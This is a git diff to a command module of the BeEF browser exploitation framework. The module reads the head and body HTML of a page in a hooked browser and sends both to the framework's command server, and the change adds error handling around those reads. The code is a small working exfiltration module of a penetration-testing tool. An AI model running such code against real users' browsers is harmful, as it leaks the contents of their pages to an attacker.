diff --git a/modules/browser/get_page_html/command.js b/modules/browser/get_page_html/command.js
index 10fbe68ad..56a9319f0 100644
--- a/modules/browser/get_page_html/command.js
+++ b/modules/browser/get_page_html/command.js
@@ -15,8 +15,19 @@
//
beef.execute(function() {
- beef.net.send("<%= @command_url %>", <%= @command_id %>, 'head='+escape(document.head.innerHTML.toString()));
- beef.net.send("<%= @command_url %>", <%= @command_id %>, 'body='+escape(document.body.innerHTML.toString()));
+ try {
+ var html_head = escape(document.head.innerHTML.toString());
+ } catch (e) {
+ var html_head = "Error: document has no head";
+ }
+ try {
+ var html_body = escape(document.body.innerHTML.toString());
+ } catch (e) {
+ var html_body = "Error: document has no body";
+ }
+
+ beef.net.send("<%= @command_url %>", <%= @command_id %>, 'head='+html_head);
+ beef.net.send("<%= @command_url %>", <%= @command_id %>, 'body='+html_body);
});